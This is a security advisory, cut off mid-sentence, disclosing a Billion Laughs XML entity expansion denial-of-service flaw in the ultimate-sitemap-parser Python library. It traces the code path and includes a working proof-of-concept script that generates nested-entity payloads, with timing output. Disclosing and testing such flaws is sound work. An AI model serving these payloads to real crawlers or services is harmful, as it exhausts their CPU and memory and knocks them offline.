Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser
XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser
Summary
ultimate-sitemap-parser version 1.8.0 and earlier parse attacker-controlled XML content using Python's xml.parsers.expat without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the "Billion Laughs" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required — the vulnerability is exploitable by default through any public-facing use of sitemap_tree_for_homepage() or sitemap_from_str().
Details
The vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization:
1. usp/tree.py:42 — sitemap_tree_for_homepage(homepage_url) is the primary public entry point.
2. usp/tree.py:133 — sitemap_from_str(content) is the secondary public entry point (also directly reachable from user code).
3. usp/fetch_parse.py:141-145 — SitemapFetcher._fetch() retrieves the remote URL content.
4. usp/fetch_parse.py:175 — The raw response becomes response_content (taint propagation point).
5. usp/fetch_parse.py:441-450 — XMLSitemapParser.sitemap() creates an Expat parser and feeds the attacker-controlled content directly to it:
```python
# usp/fetch_parse.py:441-450 — VULNERABLE SINK
parser = xml.parsers.expat.ParserCreate(
namespace_separator=self.__XML_NAMESPACE_SEPARATOR
)
# ... handler assignments ...
parser.Parse(self._content, is_final) # <-- no DTD/entity restriction
```
A full audit of the usp/ directory confirms that none of the following hardening measures are present:
defusedxml usage- DOCTYPE rejection
SetParamEntityParsingUseForeignDTDExternalEntityRefHandler
When a Billion Laughs payload is parsed, each nested entity reference is expanded recursively, multiplying the in-memory string by a factor of 10 per nesting level. At level 6 (10⁶ expansions), processing time exceeds 20 seconds, effectively hanging the calling process.
PoC
Environment setup:
```bash
# Option A: install from PyPI
python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
```
```bash
# Option B: Docker (using the provided Dockerfile)
docker build -t vuln-001-usp -f vuln-001/Dockerfile .
docker run --rm vuln-001-usp
```
Attack payload and execution:
```python
from usp.tree import sitemap_from_str
import time, signal
TIMEOUT = 20
class TimedOut(Exception): pass
def handler(s, f): raise TimedOut()
def build_payload(level):
lines = ['<?xml version="1.0"?>', '<!DOCTYPE x [']
lines.append(' <!ENTITY lol "lol">')
for i in range(1, level + 1):
prev = "lol" if i == 1 else f"lol{i-1}"
expansion = "".join(f"&{prev};" for _ in range(10))
lines.append(f' <!ENTITY lol{i} "{expansion}">')
lines.append(']>')
lines.append('<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">')
lines.append(f' <url><loc>http://example.com/&lol{level};</loc></url>')
lines.append('</urlset>')
return "\n".join(lines)
for level in [3, 4, 5, 6]:
signal.signal(signal.SIGALRM, handler)
signal.alarm(TIMEOUT)
t = time.perf_counter()
try:
result = sitemap_from_str(build_payload(level))
elapsed = time.perf_counter() - t
signal.alarm(0)
pages = list(result.all_pages())
url_len = len(pages[0].url) if pages else 0
print(f"Level {level}: {elapsed:.4f}s url_len={url_len:,}")
except TimedOut:
elapsed = time.perf_counter() - t
signal.alarm(0)
print(f"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed")
```
Expected output (observed during dynamic reproduction):
```
Level 3 (10^3): 0.0054s url_len=3,019
Level 4 (10^4): 0.0321s url_len=30,019
Level 5 (10^5): 5.2845s url_len=300,019
Level 6 (10^6): TIMEOUT after 20.0011s -- DoS confirmed
```
Processing time grows exponentially: level 5 is ~165× slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption.
Impact
This is a Denial-of-Service (DoS) vulnerability via XML Entity Expansion (the "Billion Laughs" / CWE-776 pattern). Any application or service that uses ultimate-sitemap-parser to crawl external or user-supplied URLs is impacted.
Who is affected:
- Web crawlers and indexers that call
sitemap_tree_for_homepage() against arbitrary URLs — a single malicious sitemap server can lock up the crawler process. - CI/CD pipelines and monitoring tools that periodically parse sitemaps as part of automated workflows.
- Any application that passes unvalidated user input to
sitemap_from_str().
Because no authenticatio
